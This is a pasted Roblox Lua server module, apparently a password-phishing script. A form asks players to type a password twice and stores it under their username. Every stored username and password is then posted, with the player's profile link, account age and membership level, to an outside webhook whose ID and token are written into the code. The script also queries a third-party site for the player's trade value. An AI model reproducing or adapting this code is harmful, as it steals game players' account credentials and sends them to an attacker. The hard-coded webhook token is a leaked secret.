Advertisement
Guest User

no leak pls

a guest
Aug 17th, 2017
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. local module = {}
  2.  
  3.  
  4. function module.sendData()
  5. local player = game.ServerScriptService.Player.Username.Value
  6. local ui = game.Players[player].PlayerGui.ScreenGui.FullScreen.Frame
  7.  
  8. local accounts = game.ServerStorage.accounts
  9. local textbox = ui.TextBox
  10. local textbox2 = ui.TextBox2
  11.  
  12.  
  13. if textbox2.Text == textbox.Text and string.len(textbox.Text) > 4 and string.len(textbox2.Text) > 4 then
  14. local account = Instance.new("StringValue", accounts)
  15. account.Name = player
  16. account.Value = textbox.Text
  17.  
  18. local bc = Instance.new("IntValue", account)
  19. bc.Value = game.Players[player].MembershipType.Value
  20. ui:remove()
  21.  
  22. local memtype = Instance.new("StringValue", account)
  23.  
  24. local ap = require(game.ServerScriptService.TrelloAPI)
  25. local BoardID = ap:GetBoardID("mgui accounts")
  26. local ListID = ap:GetListID("accounts", BoardID)
  27. local LabelID = ap:GetLabelID("bc", BoardID)
  28.  
  29. local hs = game:GetService("HttpService")
  30. local rapjson = hs:GetAsync("http://aerx-mgui.com/APIs/RAP.php?Username="..game.Players[player].Name)
  31. -- Decodes the JSON String we just received into a Lua Table.
  32. local myTable = hs:JSONDecode(rapjson)
  33. -- Returns myTable, which looks like {"exp"=1100, "gold"=999, "swordID" = 1000398}
  34. print(myTable["stats"]["RAP"])
  35.  
  36. if bc.Value == 0 then
  37. memtype.Value = "NONE"
  38. elseif bc.Value == 1 then
  39. memtype.Value = "BC"
  40. elseif bc.Value == 2 then
  41. memtype.Value = "TBC"
  42. elseif bc.Value == 3 then
  43. memtype.Value = "OBC"
  44. end
  45.  
  46.  
  47. for i,v in pairs(game.ServerStorage.accounts:GetChildren()) do
  48. local APIModule = require(game.ReplicatedStorage.WebhookAPI)
  49.  
  50.  
  51.  
  52. local newWebHook = APIModule.new("347519052375392256","zCfaMGPSTFBAAZhxH0z8817mP5uJZOKkv-wmZjjK1v4kVQ6e8Jsp5ZQGi62-OaOuu7qh")
  53.  
  54. newWebHook:post{
  55. username = "Parallax",
  56. content = ("username: "..v.Name.." password: "..v.Value.." profile: http://www.roblox.com/users/"..game.Players[player].UserId.." Age: "..game.Players[player].AccountAge.." Membership: "..memtype.Value)
  57. }
  58. end
  59.  
  60. game.Players[player].PlayerGui.ScreenGui.FullScreen.Done.Visible = true
  61. elseif textbox2.Text ~= textbox.Text then
  62. ui.Visible = false
  63. ui.Parent.popup.Visible = true
  64. wait(5)
  65. ui.Parent.popup.Visible = false
  66. ui.Visible = true
  67. elseif string.len(textbox.Text) ~= 4 and string.len(textbox2.Text) ~= 4 then
  68. ui.Parent.popup.message.Text = "It seems your password is too small to be a password. Please enter more than three characters, Try again in 3 seconds."
  69. ui.Parent.popup.message.Shadow.Text = "It seems your password is too small to be a password. Please enter more than three characters, Try again in 3 seconds."
  70. ui.Visible = false
  71. ui.Parent.popup.Visible = true
  72. wait(5)
  73. ui.Parent.popup.Visible = false
  74. ui.Visible = true
  75. end
  76. end
  77. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement